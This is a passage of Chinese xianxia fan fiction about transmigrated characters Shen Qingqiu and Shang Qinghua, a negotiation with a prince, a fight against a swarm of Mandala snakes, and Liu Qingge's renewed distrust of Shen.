是何等可悲的故事。 可奇遇这种东西总是存在的——就在他独自走出王国的时候,遇见了另一位热血方刚的少年,萧九。 两人共同经历各种磨难,终于破解了‘二十岁必死’的诅咒,并打算磨刀霍霍,举剑天兰派。 若故事视角转移到他们这边,必然是一个令人兴奋的、废材少年崛起流的爽文故事。 然而,在现实世界中。 两个年轻的少年郎,在没有获得主角光环与天道青睐时。 所能获得的东西,太少了。 即便万春王朝拥有军队、国库,以及一些不可告人的暗卫、刺杀组织。 可一个少年修真者和一个凡人组成的王朝。 还是太浅薄、太脆弱了。 想以凡人之躯斩灭修真者,摧毁修真门派。 对于连修真者随手一击都挡不下来的凡人来说,几乎可以评价为天方夜谭。 只是无巧不成书,峰回路转中。 天兰派所附属的宗门,近些年正好在万春王朝附近发现一个可以用来算计人的秘境。 而那个宗门对苍穹山独占鳌头的现状,已经不满很久了。 故而,这个针对苍穹山所设下的局,在需要凡人进行配合的同时,也被万春王朝高层所知。 同样的,也可以被心中早就有想法的萧逸,所,利用。 螳螂捕蝉,黄雀在后。 萧逸手上握有真正的‘钥匙’,也熟知天兰派在万春王朝周遭行动的全部动态。 而萧逸想要的,只是苍穹山的震慑;或者说,是来自大门派的,一些帮助。 这些东西,对于一个超级大派来说,就像挥个手一样简单。只要能得到对方的一句‘话’,或者某个‘信物’,此事必然能成。 这世界上的东西,本就是你利用我,我利用你。我付出一定的代价来换取你的帮助,而你返还一定的回报来回馈我的付出。 萧逸想要的对苍穹山来说并不难,而他能提供的东西,苍穹山也确实拒绝不了。 所谓‘礼尚往来’,萧逸准备了那么多,又谋划了那么久,是想方设法也要达成交易的。 第十四章来自柳清歌的僵硬安慰 ooc预警:伪穿书沈九+直觉柳清歌+苦逼打工人尚清华+嘴碎系统 ———— 萧逸隔着一层黑纱与沈清秋四目相对。尚不能视物的眼睛,只能捕捉到细微的光芒和模糊的影像。 但对于此刻的他来说,这就够了。 他需要的,只是通过这种方式来表达自己的诚意,展现出自身拥有的实力。 没有人会帮一无所有的弱者。 即便是强如世界第一,也不可能真正花费大量的时间和精力去带懵懂无知的傻白甜历练。 更多的时候,那些强者习惯于为了得到某些东西,付出与之相当价值的物品或者给予一些口头指点。等价交换,或者稍微退让一步以结善缘。 萧逸已尽了自己所能做到的一切,若是对方依旧心存疑虑,他也只能另想办法。 对视的两人。 一个精心打扮,一个肆意懒散;一个端坐如桩,一个斜躺慵懒。一个用信息和物件求人办事,一个想要东西却绝不会轻易承诺。 这样的萧逸,像极了乞讨时期的少年沈九。 他们都拥有着对他人需求的敏锐洞察力,以及对自身处境的深刻理解。 清楚地知道对方想要什么,懂得通过何种方式来展示自己的“诚意”,深知所有事物都可被用来交易。 但他们即便是迫切需要对方的帮助,依然会坚守一些不可动摇的原则。哪怕最终无法得到所需之物,也绝不会以牺牲自己的尊严和原则为代价去压榨底线。 萧逸身为皇室之人,不可能放下身段去‘跪地求对方赐予’。 等价交换,明确筹码。以最大的诚意给予所能提供的一切,坚守某些不可妥协、不容退让的底线。 这,才是他们‘求人办事’、‘获取东西’的生存原则。 ‘宿主,你是不是太坏了?你要走反派BOSS线吗?’系统感受到紧绷的氛围,看着萧逸被汗水打湿、紧贴于脸颊的乌发,忍不住开口吐槽: ‘人家都把心掏出来给你看了,你还散发威压压制对方。你看看这小脸,全是被你激出的冷汗。’ ‘怎么会?’沈清秋面上不动声色,实际却与系统疯狂对骂:‘你怎么能说我坏!我这是在给他机会!’ ‘想要什么东西,必定要付出同等的代价。他想拉苍穹山下水,我若是轻易答应,才算是小看了他!’ ‘还机会,’系统立刻反驳:‘你这机会对方压根接不住啊!’ ‘你瞅瞅对方这苍白的脸和满额头的汗,再多一会,信不信他直接给你晕倒啊!’ ‘……’ ‘话说。’系统不知想到了什么,突然莫名的兴奋起来。兴致冲冲的做假设:‘如果这个叫萧逸的晕倒在你怀里,你会公主抱将他放到床榻上吗?’ ‘……’ ‘还有啊,你看他多可怜啊,明明一身大红大黑的,腰肢和手腕却显得那么纤细……你不觉得心动吗?’ ‘……’ ‘少年意气,被人打压,再次崛起,举剑向强敌。多好的剧本啊,你不想入局玩玩?’ ‘……’ 忍无可忍,无需再忍。 沈清秋被气得恨不得从识海中将系统拎出来捏死,干脆利落的用精神力攻击系统所栖身的识海。 系统:…… 大哥,我知道你很生气,但是你攻击的是自己识海啊!不怕将自己搞成傻子吗! 这等杀敌一百自损三千的攻击方式,你是真一点也不带迟疑的啊! 待音乐再次响起,楼下已换上新舞。 沈清秋脸色越发冷肃,身上的威压也越发厚重,直面压力的萧逸脸色越发苍白。 忽的,萧逸忍不住吐出一口鲜血。 他有些绝望。 是他败了,他的条件不足以打动对方。 苍穹山看不上他提出的诚意,也不会插手凡尘与小门派的打闹。 既然如此,就另谋他策吧。 就在他准备开口告辞之时,沈清秋扭头看向尚清华,吩咐完就走:“取洗髓丹和明睛露,做好地图。” 萧逸:…… 虽然不太明白具体什么情况,但最后是成功了,对吧? 尚清华:…… 有没有一种可能,我不是你的弟子,而是和你同级的峰主? 还有,柳巨巨你不要抛下我!不要跟着那个惹了事就跑的白切黑走啊! —— 随着沈清秋转身闪人,柳清歌很快也跟上。至于尚清华?他不是喊过来干活的吗? 尚清华:所以大家其实是没爱的,对吗? 柳清歌紧跟着脸色依旧阴沉的沈清秋,两两并行,青与白泾渭分明。 沈清秋停住脚步,侧头看向周围高高挂起的红灯笼。 连成串的胖球从内向外散发着明艳又温暖的光彩,朱砂色的木质飞檐勾略着精巧细致的花纹,转角处悬着的铜铃和丝带随微风而晃动。 这样祥和温暖的场景,不知道耗尽了多少代人的精力,掩盖了多少无力之人的血泪。 盛世之下,满是枯骨。可无论暗地里如何肮脏黑暗,明面上,大家都是西装革履的体面人。 柳清歌静静站在一旁,看着近些天‘恢复原状’的沈清秋,一时不知道该觉得庆幸还是失望。 沈清秋还是本人,没被莫名其妙的东西夺舍。 可,若是能选,谁又会想要成为沉默、冷淡的青年,舍弃欢脱、放肆的少年郎呢。 许是察觉到对方的情绪过于异常,一贯不善言谈、一言不合就开打的柳清歌,难得的僵硬筹措词句: “修真之人,不参与凡人因果是对的,易生心魔。” “?”没想过旁边的‘保镖’会主动说话,沈清秋诧异的看他一眼,不明白这家伙想到了什么玩意:“念头通达,何来心魔?” 柳清歌:…… 太难了,想与一个平常互相看不顺眼的家伙和平共处已经很难,难得想安慰一下对方,结果还被当成莫名其妙的说胡话…… 这与人接触和交谈实在太难了些,还是练剑和打斗适合他。 只是,柳实在按耐不住心里的好奇,认真思考了半天,张口问道: “你信任于他?” 沈清秋脸上的震惊更明显了,连瞳孔都有些放大。这家伙今天得憋闷成什么样,居然主动介入外交事件? 沈清秋认真的看了对方一眼,确认柳清歌欲言又止不说,眼里还充满了不理解和求知欲。 呃……他今天的表现确实与平常不同,对方疑惑也是正常的。正巧夜风吹拂的感觉还不错,那就多说几句吧。 “星星之火,可以燎原。反抗之心,本就是稀罕物。” “他给出足够的条件,我们就回给同等的报酬,等价交换而已。” “只是他心太大了,想借天兰派的局拉苍穹山下水,自然要狠狠打压。” 即使沈清秋的话已经说得很明白,柳清歌还是不能理解: “那你?” 以他只想打架的脑子,实在搞不懂两人短短的几句话、几个对视间,究竟有那些暗潮汹涌。 只是根据沈清秋的话语来分析,他好像除了丹药和伤药外,什么也没给吧? “当然是拿了好处,不给东西咯。” 沈清秋极为无赖的摊手: “治疗他的眼睛,赠予一段仙缘。若这些还不够,贪心不余的玩意,谈什么与天争高?” 嗯。听起来很流程化、正规化。 毕竟插手就要承担因果,沈清秋做的,也无非是帮他恢复眼睛、治疗根骨罢了。 剩下的故事,要看天道作何安排。 ‘行吧。’柳清歌着实搞不懂里面的弯弯绕绕,最后也懒得去思考。只是看着有些‘大彻大悟’‘性格转变’的沈清秋点点头: “你心态豁达多了。” 沈清秋:“你是暗讽我之前小肚鸡肠?” 柳清歌:“没有。” 沈清秋:“呵呵。” 第十五章倒反天罡,穿越同仁你崩人设了! ooc预警:(伪)穿书沈九+苦逼打工人尚清华+直觉柳清歌 ??———— 一般来说,想要打开一个秘境,除了“意外入、一脚踩空跌入”这种颇有传奇意味的奇遇;剩下的都要靠书籍记载、口口相传,才能在各种宗门的‘管控封禁’之中,夺取一两分机缘。 沈清秋手里捏着一张卡片,像匕首一样来回把玩着。柳清歌自发离他远远的,只留下尚清华一脸苦逼的被当成度娘回答问题: “尚清华。你且猜猜,天兰派身后是那个大派,敢用苍穹弟子做局?” 尚清华:“……” 一天天的,打工人真伤不起啊。 这位穿越同僚是真的刚来没多久吧?连修真界的整体环境和势力分布都不清楚?一天天只知道宅在清静峰看书作画吗? 掌门还是那个宠弟如命的掌门,对沈清秋的特殊关注简直是被写进骨子里的设定。这位同僚哪怕是作天作地的四处打架,干出放火烧山、烤炖灵兽这种破坏生态环境的大事,也能轻飘飘压下,连指责都不曾大声。 对于这种本身已经很尊贵,上面更是有人罩着的公子爷,一个管后勤的同级峰主,能说些什么呢? 看看柳巨巨,已经自觉主动距离对方远远的,一点好奇心也没有! “尚清华?” 疑惑的声音传来。尚清华联想下被对方坑的近乎虚脱、双手捧着送上‘钥匙’与灵宝的某位世子,苦心筹谋最终却只换来两瓶掌门随口吩咐的、基本上峰主人手一瓶的药丸…… emmmm,这绝逼是个黑心的家伙。 “嗯?” 又是一道疑惑满满的低音,外加对方大跨步靠近的踩地声。 尚清华:“……” 大哥!你知不知道‘沈清秋’的人设是寡言少语、毒舌孤僻啊!你别靠近我,我没有柳巨巨的武力值,更不敢拒绝掌门的心头肉啊…… 呜呜呜,可怜无助又无奈…… 尚清华内心纠结又无力,面上只能挂着和善、卑微到近乎狗腿的笑容,跟对方科普修真界基本常识: “柳师兄是咱们苍穹山当之无愧的武力巅峰,凭借半步化神的境界横压当世。除了不知道是闭死关还是进了棺材的那群‘老祖宗’外,堪称世间第一人。” “而与苍穹山并列的其他三个门派,分别是擅长奇门遁甲、诡异道术的幻花宫;主打顺应天道、无为而治的天一观;提倡人生来就是受苦、要通过做善事求来生享乐的昭化寺。” “如果有人想要将苍穹山拉下来,四大派里,最有可能的,就是幻花宫。” 思考到穿越同仁表现出的‘不问世事、不想理事’的特性,尚清华专门提了一嘴: “至于那些二流门派,基本上都是四大派的附属,零星太多了,没几个人会去记。” 真实的修真界,在实力和势力的断层式压制下,二流宗门和一流差远了,只配当成引路、埋单的狗腿子! “哦。” 沈清秋看着防自己像是防狼一样全身紧绷、无时无刻不在散发‘抗拒’,却又小心翼翼调整词汇、生怕惹他不快的尚清华,突然勾起嘴角,相当恶趣味的提问: “尚师弟好像很怕我?” “……” 丫的,这个直球,简直令人无语。 尚清华要怎么回答? 一同长大的师兄弟,他能回答“怕”? 可这家伙的状态,简直比原主还要令人捉摸不透啊! 原主是尚清华亲自设定的,在一群智商20的故事里,难得的智商在线、逻辑正常的孤僻天才。 当然,悲剧的内核就是将美好打碎,龙傲天的作风就是将各路英才踩入脚下。 所以原主是当之无愧的炮灰。那种不给资源不说、还刻意打压欺辱、放任男主长大后回来报仇的恶毒师尊。 如果按照原本的逻辑,尚清华与对方的接触。也就是每个月送资源时的一句‘代我向你师尊问好’,以及年底考核、开会时的‘掌门好、沈师兄好’。 大家都是工具人,谁还想联系谁了? 可现在! 现在! 他,一介作者。穿书之后,虽说不算混的风生水起,但能在第一山门做个后勤总负责人,怎么不算有点成就?! 可惜,人比人要崩。他遇见了另一个穿越同仁。 这个同仁,一点穿越味也不收敛不说,还满身的‘理所应当’、‘我虽然不懂但就是要为难你’的甲方作风…… 现在,对方好像已经发现了自己的不对劲,开始试探起他来了! 是大大方方的承认,然后笑嘻嘻的搂着对方肩膀,问一句:‘老哥,你来的是什么时候?’ 还是立刻否认,小心收好在现代养成的大大咧咧、没心没肺,争取混过这一劫,赶快培养能顶事的大弟子? “尚师弟?” 来人的声音越靠越近,寒意从脚底板瞬间升起、阴冷的气息像条蛇一样沿着小腿往上攀升,激的人后背发凉、汗毛直立。 这就是故事里的反派师尊的气场吗?随随便便的试探几句就能将人吓得半死! 尚师弟努力控制有些僵硬到机械抬起的腿脚,脸色硬挤出一个要哭不哭的笑容来:“沈师兄……我哪有啊……” “嗯?” 沈清秋饶有兴趣的看着尚清华,意有所指的询问:“清华啊,你的邻居兼死对头呢?” “……” 这家伙,应该不是说的北大吧? 应该吧…… 肯定吧? 看着对方眼睛遮都遮不住的兴奋,尚清华艰难的咽了咽口水,眼神闪躲: “小弟平日里格外注重人际关系、与人为善,从不与人结怨,哪会有‘死对头’?” “哦~” 这调皮的波浪线啊…… 这悠悠然的拉长音啊…… 当真是余音绕梁,三日不绝。 尚清华擦了擦额头的冷汗,小心翼翼的拉开距离。 真好,人设是孤僻、拒人千里的清冷毒舌仙人,现在主动靠近师弟;人设是任劳任怨打工人的师弟,谨慎又小心的拉开与对方的距离。 当真是,倒反天罡! 尚清华只是与对方说了三句话,后背衣衫已是汗津津的贴伏在身上。岳掌门可是找个机会就要贴近对方,表示关怀的! 不愧是掌门,心理素质真好! 旁边的柳清歌亦是。 虽然他大部分时间都不动脑、压根体会不到言语机锋,但这么冷凝的氛围和独属于黑化反派的压力,柳清歌依旧面无表情的习惯了!并且还能毫不犹豫的与对方直接干仗! 柳巨巨,当真汉子! 第十六章打个怪,曼陀罗蛇 ooc预警:伪穿书沈九+直男柳清歌+后勤尚清华 ———— 在经历了一系列的打败守护兽、穿越机关阵法、各自补给之后,众人排查出真正的大门与钥匙置放地。 随着灵力的输入与一串完全搞不懂意思的咒语吟唱,周围的空气开始聚集起奇异的能量,像是被引导一般凝聚成一个图腾。 随着印记的出现,原本平平无奇的石壁上发出一道刺眼的光,随着‘轰隆隆’的声音响起,大量的尘土猛烈掉落。 像是所有密室一样,‘门’被隐藏在墙壁上,随着正确的钥匙,方可打开。 随着尘土的逐渐散落,另一股清新微凉的空气逐渐涌现,本该古老却意外清澈的气息将三人包裹其内。 好在几位都是经验丰富之人,早在开门的那一刻就屏住呼吸,并吃下解毒药丸,慎防被开门杀。 门内是一片原始森林。远处有瀑布飞流直下三千尺,彩虹桥横跨天际。各种苍天巨树之下,奇花异草到处长,说不出来名字的杂交植物不知道与外界那种草药是近亲。 阳光透过繁密的树冠,斑驳的洒在略显潮湿的土地上,脚下长满了颇像蓝银草的细碎绿叶,在他们的遮掩下,也看不出来前方是平坦地面还是浮于水面的沼泽。 “呦,蓝银草~三哥的最爱~” 沈清秋用灵力卷起一棵杂草,贼认真的研究不说,还极为寻常的冲尚清华勾勾手: “清华啊~你说这是蓝银草,还是蓝银皇呢?这上面是不是还有纹路?” “......” 尚清华谨慎的拉开与对方的距离,嘴角扯了扯:穿越老哥,你是真不怕柳巨巨怀疑吗? 还有啊,你这时而啥也不懂,时而阴沉腹黑的作风,是不是精神分裂,有点心理疾病啊? 还是说,这个心肠乌黑的家伙,又开始闲得无聊试探了? 远处传来几声野兽的低吼,足以让数人合抱的巨树被风吹的沙沙作响,随着宽广的阔叶落下,某些依附于树枝上的深绿色藤曼,被风吹的越发飘逸。 “啊,这树、这水、这风,虽然力度不大,但缠绕于树干上的绞丝子都要被吹跑了呢。” “......” 尚清华随着对方视线移转过去,伴随着树叶哗啦啦的掉落,盘踞于高处的藤蔓随风摇摆,有些明显细嫩的枝叶就像是被风拦腰折断,也开始了向下坠落。 不对! 尚清华仔细嗅了一下,这风中不仅带来了凉意,更有几分隐藏极深的腥气! 曼陀罗蛇?! 怪不得沈清秋突然提起来三哥,敢情他们误入的是小舞的家? 墨绿色的倒三角蛇头在落叶和树枝的遮掩下若隐若现,一双双泛着猩红的眸子里满是择人而噬的贪婪。 三人目前还站在门口,不曾踏入森林一步。 这地方,步步杀机,处处危险。 尚清华作为一个后勤人员,平日里干的都是调配粮草、运送伤员的事情,真让他上去打仗,帮倒忙的可能性更大一些。 只是—— 尚清华难以控制的想起自己曾参与过的某次出外勤。 少年沈清秋与柳清歌出门打井妖,回去之后却直接决裂。哪怕是尚清华在其中各种调和,甚至违背一贯的胆小慎微去‘告诫’对方,都于事无补。 这次...换成穿越同仁,希望别再来一次场景重现啊。 ———— 曼陀罗蛇,是《斗罗大陆》里曾出现过的一种魔兽。 其自身毒性极强、且身体极为坚韧,被击打到地面后能凭借鞭子一样的身体如弹簧蓄力般弹起,速度奇快。最重要的是,脖颈粗壮有力,不像是其他蛇类可以‘仗打七寸’;唯有眼睛和嘴巴里的咽喉是弱点。 在斗罗的世界里,第一次出场就给三哥造成了极大的麻烦,最后成为三哥的第一个魂环。 而现在—— 沈清秋三人遇见的,不是一只,是一群。 这一群毒蛇颜色与藤曼一模一样,之前缠绕于树上,若非此刻聚集起来,突发偷袭之下,实在是令人难以发觉。 过来时的门已被关上,当然,就算是开着,几人也不可能放任这群玩意出去扰乱修真界。面对前方的群蛇围攻,沈清秋与柳清歌毫不犹豫的向前一步,将尚清华护在身后。 两人对视一眼,分别对哼一声后扭头站正。 “这蛇的弱点是眼睛,皮厚肉多,适合剥皮烤制。” “......”柳清歌快速皱了一下眉头,看着倒三角的蛇头陈述事实:“它有毒。” “解毒丸不是很多?哪有什么有毒,那都是没煮熟!” “噗——”尚清华忍不住笑了一声,这是什么云南笑话。 Emmmm,坏了。 尚清华被斜瞟过来的沈清秋看了一眼,心里突然抽了一下。 丫的,居然在这种时候露馅了! 好在对方并没有别的表示,只是似笑非笑的勾了勾嘴角。 ‘......’ 果然是蔫坏的反派,无时无刻不在想着坑人! 随着第一只蛇猛得尾巴倒甩,借助反作用力抬起身躯,蛇嘴大张,就要咬向沈清秋。 其他蛇有样学样,一个个甩着猩红的舌头飞到半空下起蛇雨来。 “乒镑——”“咔咔——” 随着剑刃与金属摩擦声响起,一条又一条毒蛇被击飞。略微细小的曼陀罗蛇鳞片还未长成,随着附加灵气的剑刃划过而皮开肉绽,在几个群攻技能后折损大半。 留下的全是成年男人手臂粗的成年毒蛇,他们盘踞于地,舌尖分裂成两瓣,丝丝的吐着信子。 这群毒物不惧雄黄,也不在乎伤亡。其悍不畏死的态度,就像是无差别阻拦所有进秘境之人一样。蛇群的尸体铺于地面,竟让人难以分清此处究竟是活蛇还是死尸。 “这样下去不是办法。” 沈清秋看眼躲得远远的尚清华,开始做计划。 打这群蛇最大的难度就是麻烦。他们不惧七寸,就不能一剑横扫;弱点在眼睛和咽喉,可毒物数量太多,骨头又硬,做不到快速刺进去,迅速转换目标砍下一个。 像柳清歌这种急性子的,很容易砍了一个之后剑卡在骨缝里,还来不及拔出来就要赤手空拳的抵挡其他毒蛇的进攻。 总而言之,打没问题,但需要合作。 沈清秋快速思考后直接下指令:“柳清歌,你负责砍杀,我替你防御。” 柳清歌百忙之中扭头看他一眼,丹凤眼略微上挑,眼神明显发虚,写满了不信任。 “?” 这很奇怪啊。沈清秋有些不理解。 不过现在不是思考这些的时候,他忽视掉柳清歌猛然僵硬的动作,果断的站在柳清歌背后,将攻向对方的毒蛇挡在外面。 第十七章旧景重现,不会相信 Ooc预警:伪穿书沈九+战斗狂柳清歌+穿书作者尚清华 ———— 柳清歌的武力值不是盖的,当他专心进攻的时候,每次平推都能准确的刺穿曼陀罗蛇的眼睛,进而切断对方的神经,接着将失去性命的毒蛇丢出去。 只是随着骨头与金属的摩擦砍打,乘鸾剑被蛇血污染腐蚀,出现了些许细小的裂痕。虽在灵力的附加上依旧能削铁如泥,却难免增加了几分‘被卡住’的几率。 沈清秋将修雅剑抡成圆圈,抵挡源源不断的蛇群。但攻击的人效率变慢,他便是能挡住所有蛇,除了平白消耗灵力与体力,还能指望与野兽比拼耐力不成? “柳清歌!” 沈清秋向后退半步,几乎与柳清歌背对背站立,压缩防御范围:“你搞什么!” 若他们只防守而不进攻,为什么不干脆布防御阵法? “......” 柳清歌感受到背后突然靠近的热度,忍不住寒毛一立,莫名的紧张与警惕爬满后背。这场景,实在是有点似曾相识,下意识的就想举剑看过去啊…… 耳边听着队友的质疑,手上是被腥臭血迹侵蚀的乘鸾剑,柳清歌悄悄向后瞄了一眼,深吸一口气后果断将剑收回,撸起袖子,向前一步。 “?”沈清秋虽然看不见对方的动作,胳膊却猛然溅上喷洒而出、来自于后方的血液,令他忍不住快速回头扫了一眼: 这家伙居然把剑收起来,将灵力赋予拳头,一拳一个蛇头?! 若说之前是通过剑尖刺穿与眼睛相连的大脑,现在就是干脆以暴力击打眼球,彻底震伤曼陀罗蛇的头颅,达到令毒物失去攻击能力的目的。 只是,若是属于金属的剑刃都会被毒血腐蚀,身为肉.体凡胎的修真者,难道就不会被腐蚀吗?! 这样的狂暴与猛烈,但凡不是个啥都不怕的武痴,根本就不会考虑好吧! 随着时间的流逝,蛇群的数量一点点减少,留下的都是精锐中的精锐。甭管是躲闪能力,还是鳞片的坚硬程度,甚至还有几个知道隐藏于同伴的尸体中,伪装成失去战斗力的样子进行假死避战! 一条看起来只有几米长的小曼陀罗蛇被层层尸体遮掩,快速移动到两人的视线盲区,然后猛地从尸山血海中窜出。 先是向沈清秋吐出幽绿色的毒液,接着凭空反向摆尾,血盆大口张开,露出锋利的毒牙,直扑抬起胳膊向前冲拳的柳清歌。 “丝丝——” 沈清秋快速闭上眼皮,用修雅剑挡住直冲面门的毒液,谨慎着对方迷雾中的进攻。 却不料对方虚晃一招,打算用毒牙牢牢的在柳清歌胳膊上咬一口。 两人是背对背站位,当沈清秋察觉到曼陀罗蛇的目的是柳清歌胳膊时,他本能的一脚踹出,将柳清歌踢到另一侧蛇群数量较少的地方,修雅剑倒转出招,在毒牙即将咬上自己的那一刻,修雅已切断曼陀罗蛇的神经。 “沈!清!秋!你!找!死!” 柳清歌正打得爽快,却被人从后背猛踹一脚,差点直挺挺的摔入全部张着口的曼陀罗蛇群,对方若不是故意的,他跟对方姓! 他快速调整身姿后站定,为自己附上数个防御术法,又是一剑劈出,将众蛇击飞,避免落得个被蛇群撕咬而死的下场。 曼陀罗蛇很可怕,但人心更可怕! 对方杀他之意始终不改,即便在这种环境下,依旧要置自己于死地! 他是瞎了眼,脑子有坑,才会相信对方携手合作的鬼话,放任沈清秋这玩意在自己背后! 现在遭报应了吧? 丫的,一会必然要弄死这玩意!!! “你爷爷在这呢!” 沈清秋毫不犹豫的反唇相讥:“要不是劳资救你,你现在就躺地上了!” “还救我?”柳清歌一拳将飞过来的曼陀罗蛇头打爆,完全不相信沈清秋的话语。 这家伙又一次想杀他!上次井妖时不是已经看清对方恶毒心肠了吗,为什么这次又忍不住相信并且再次被坑?! 他是念着一同长大的情谊,对方最近的行为看起来也有些改善,才默认让这家伙近身,怎的却是又给了对方杀自己的机会! 这家伙甭管外表展现的怎么样,其恶毒的内心是从来不改变的! “你要是为了救我,劳资跟你姓!” 柳清歌将怒气发泄于旁边的蛇群之上,越战越猛、越打越勇,愣是凭借一股愤恨将整个场子的曼陀罗蛇仇恨都给吸引了过去。 沈清秋看着柳清歌突然的爆种,几个起落脱离战场,跳到尚清华身边,跟看戏似的点评: “可以啊,没想到这个npc还有狂暴机制,只是太容易被激怒了,不太好掌控。” “......” 尚清华小心翼翼的打量沈清秋,又将周围扫了一圈,眼见柳巨巨还在愤怒的对战曼陀罗蛇,无语的扯了扯嘴角:“大哥,你那一年来得啊。” 对方三番两次试探,又表现的这么明显,他实在是受不了、也伪装不下去了啊。 “24啊,你呢。”沈清秋随口回答,并反问。态度轻松且随意的,完全不像是在异界寻到老乡,反而像是打游戏扩列般开始聊天。 “14....”尚清华有些怀念:“你比我多活了十年。说起来,我确实是十年前来的。” “那你玩的挺久啊。”沈清秋语气更轻快了:“能打十年的游戏,小王也才刚满六年啊。难道你是魔兽、西游那一批?” “......” 虽然我来得早,但我并不是老到玩大话西游好吧! 我小时候也是有自己的电脑、手机的啊! 是科技发展太快,你以为的那批人是二十年前吧?! “你说,玩游戏?”尚清华发现了华点。 如果以穿越的角度来看,这个同仁确实有些张扬过度了;可若说以游戏角度,其他人是没有觉醒的npc来看.... Emmmm,该死的,这家伙以为自己在玩游戏? 尚清华嘴张开又合上,却始终没有发出声音。 沈清秋好奇的看着对方跟被钓上来的鱼一样张口闭口,忍不住道:“你在搞什么啊?cos七秒钟的记忆吗?” “......” 虽然尚清华是尊贵的作者大人,但是他没办法将这个‘世界由小说构成,不是游戏改编’的事实说出来啊! 尤其是,他尝试着告诫穿越同仁应该回不去的悲惨现实,却发不出任何声音。 最后,他只能以一种悲哀的、无奈的苦笑,对好奇宝宝沈清秋说一句:“没逝……” 第十八章不被信任,分道扬镳 ooc预警:伪穿书沈九+穿书尚清华+直肠子柳清歌 ———— 两名穿越者相见,那真是老乡对老乡两眼泪汪汪。啊不对,是一方热泪盈眶简直要被问哭,一方态度淡然又随意的确认推测:‘我就说你小子不对劲,果然不对劲’。 尚清华与沈清秋只是相隔了十年,怎么却像是猿猴与人类、古代人与现代人的区别一样存在那么多的代沟? 沈清秋知识极为渊博,其描述和查找能力堪比度娘。但若问及实操,那个动手能力……不愧是能干出放火烧山之杰作的大能。 其言语和行为的反差,对理论的概述和生活水平的拉胯,硬是给人一种高智低能的感觉。 这。大概就是传说中的,智商能获得诺贝尔奖,走出家门却能将自己饿死…… ??? 甚至于有些问题,尚清华觉得这家伙绝对是行走的五百万。怎么会有人能够说出‘方言就是普通话,普通话绝对不可能有口音’这种话来? 虽然说各地都理直气壮的认为自己说的就是标准普通话,但到底标准的京普是什么样子,即便是老北京人都不敢说自己一点口音也没有啊! 问他究竟生活在哪个城市,沈清秋随口就一句‘南京’。可若是问他南京烤鸭是炖还是烤,是卷着吃还是切块吃。 沈清秋就回答不上来了。 再问他南京有什么流行小曲、特色景点?南京的方言中有哪些词是让人眼前一亮、听着就很亲切的?有哪些东西是他来到修真界之后极其想念的? 沈清秋一个也答不上来。 这这这…… 尚清华实在是,有些无语。这家伙,要么是不想说;要么,就是生活在别地,向往南京而不得。 可,当尚清华随口起调:“啦啦~啦啦啦拉啦啦啦……” 沈清秋却莫名其妙的看着他,问他怎么兴奋到哼歌,还是未填词的那种? 苍天在上,他哼的是《义勇军进行曲》啊!!!虽然他五音不全,但基本的停顿和快慢还是有的,不至于听不出来啊! 算了。就算是五百万,现在身处异世,这些又有什么关系呢? 尚清华默默的将眼泪憋回去,这样一位疑似当惯了甲方的外国同仁,他还能怎么办?! 呜呜呜…… ———— 柳清歌杀的很爽。 爷们要战斗!唯有打架才能燃起热血! 好男儿,生死看淡,上去就是干! 待一切平息之后,柳清歌带着一身打得酣畅淋漓的战意和极致杀戮形成的煞气回到两人身边。 白色的外衫沾满了墨绿色的毒血,极大部分还被腐蚀灼烧出残破的坑洞。他顺着大家的视线看了一眼衣摆,极其干脆的将外衫脱掉,使用几个引雷符与烈焰咒将地上的蛇尸一起烧成灰炭。 毁尸灭迹、清理战场,杜绝敌人装死后引来新的麻烦,是修真者的必备功课之一。 脱去外衫后,贴身穿着的内衬亦是纯净的白。除了偶尔被腐蚀的焦黑外,只有柳清歌自身溢出的大片血迹。 某些伤痕依旧在流血,向外翻出的狰狞嫩肉甚至还能看见独属于骨头的雪白。鲜血随着他的动作而聚集,又被他毫不在意的甩掉。 “我要去找溟烟。” 简单短促的话语,宣告着要分道扬镳的信念。 在柳清歌视角看来,沈清秋既然再一次对他下手,自是没有同行的必要了。 柳清歌当时恨不得将情节重现、又一次想弄死他的沈清秋一剑杀之,现在能替其他人解决曼陀罗蛇群,并尽可能理智的表达观点,已经很给面子了。 若非此地杀机四伏,柳清歌与沈清秋这一架,是必打不可的。 即便沈清秋这次不是沉默寡言,甚至在第一时间就进行了反驳。 可信任这种东西,丢失了是怎么也找不回来的。 除非有人能拿出当时的留影石,证明沈清秋确实是为了‘救’柳清歌而非送他去死。 否则,柳清歌是说什么也不会与对方同行的。 “柳巨巨……” 尚清华努力解释:“当时你左边有一条数米长的曼陀罗蛇……想要咬你的胳膊来着……是沈师兄替你……” “呵。”沈清秋直接打断尚清华干巴巴的描述,眼里只有被队友不信任的不满和疑似背叛: “你认为我会在你与敌对战时,送你去死?” “难道不是吗?”柳清歌连伤口都不处理了,满含煞气的丹凤眼直愣愣的瞪着沈清秋:“你一次又一次,不就是想杀我?” “我!”沈清秋简直要被气笑了。 见过怀疑队友的,没见过如此理直气壮怀疑队友会在对战时下黑手的! 他在对战时折损自方势力,是脑子有坑吗?即便是想要柳清歌的性命,让他去当炮灰开路,或者当垫后的吸引敌人火力,那个不比直接动手强? 他犯得着干这些落人口实,出力不讨好的事情吗?这些手段也未免太大下作、没脑子了些! 只是—— 柳清歌不就是个没脑子的玩意吗? 这家伙脑子里只有打打打,连最基础的言语交锋都听不懂,若不是武力值实在爆表,早不知死哪去了。 “我只问一遍,你认为我会做这种背刺队友的事情?” 沈清秋已经动了真火,真男人坚决不允许被人怀疑和背叛!若是对方硬要说他背刺,他又何必要与这等没脑子的玩意同行? 可惜,柳清歌只是嘲讽的勾起嘴角,眼里满是嫌弃和不屑:“你做的还少吗?” “!!!” “框啷——”修雅剑被当即拔出,沈清秋气的手都在抖:“你,你,你——” 乘鸾剑自发护主,“唰”的一下与修雅遥遥相对。 尚清华连忙来到两人之间,用可怜的身躯抵挡两人立刻就要对打的战况。 “沈师兄,柳巨巨不是……” 尚清华看着眼里冒火的沈清秋,是真心为他觉得冤枉。原主做的事情,却让穿越者背锅,怎么会不生气呢? 可他又没办法将其中内情讲出来。 整个苍穹山都在怀疑沈清秋有问题,可谁敢舞到沈清秋面前?不说他身后的掌门人岳清源,沈清秋又没有失去修为,是觉得他举不动修雅吗? 可即便不说‘穿越’的事情。之前那次没被解决的误会,叠加这次极为相似的场景……柳清歌这般应激,貌似也有情可原? 问题是,就算是换了个芯子,就算是‘沈清秋’第一时间反驳,柳巨巨他,也不信啊! 拿不出具体的证据来证明,也没有摄像头之类的物证情节重播,单凭几个人‘争论’,谁又会信谁? 